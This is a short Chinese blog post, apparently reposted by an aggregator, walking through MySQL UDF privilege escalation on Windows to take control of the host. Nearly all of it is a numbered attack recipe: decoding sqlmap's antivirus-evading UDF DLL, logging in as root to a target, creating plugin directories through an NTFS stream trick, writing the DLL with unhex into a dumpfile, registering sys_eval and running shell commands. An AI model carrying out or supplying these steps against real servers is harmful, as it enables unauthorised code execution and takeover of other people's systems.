MySQL UDF提权获取主机控制权

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL UDF提权获取主机控制权相关的知识,希望对你有一定的参考价值。

UDF(User defined function)是mysql的一个拓展接口,用来扩展MySQL的功能。在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权。下面以windows主机为例,给出具体的步骤:

1、python clock.py -d -i lib_mysqludfsys.dll

此步是获取攻击用的UDF dll。首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll。(sqlmap对其进行编码是为了免杀)

2、mysql -h target_ip -uroot -p

与目标MySQL建立连接

3、select version();

查看MySQL版本

4、select @@basedir;

查看MySQL的安装目录。假设为 c:\program files\mysql\mysql server 5.1

5、select @@plugin_dir;

查看MySQL的插件目录。假设为c:\program files\mysql\mysql server 5.1\plugin

6、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION‘;

创建lib目录

7、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION‘;

创建plugin目录

8、select unhex(‘hex_of_udf.dll‘) into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";

创建udf.dll,上述命令中hex_of_udf.dll是udf.dll的十六进制文本,可用winhex等编辑软件获得

9、create function sys_eval returns string soname ‘udf.dll‘;

创建函数

10、select sys_eval(‘whoami‘);

执行shell命令,表明以获取操作系统的控制权

以上是关于MySQL UDF提权获取主机控制权的主要内容,如果未能解决你的问题,请参考以下文章

MySQL数据库UDF提权学习

Mysql提权-基于Mysql的UDF提权(Windows系统)1

提权基础-----mysql-udf提权

Mysql提权-基于Mysql的UDF提权(Linux系统)

MySQL提权之udf提权

MySQL提权之udf提权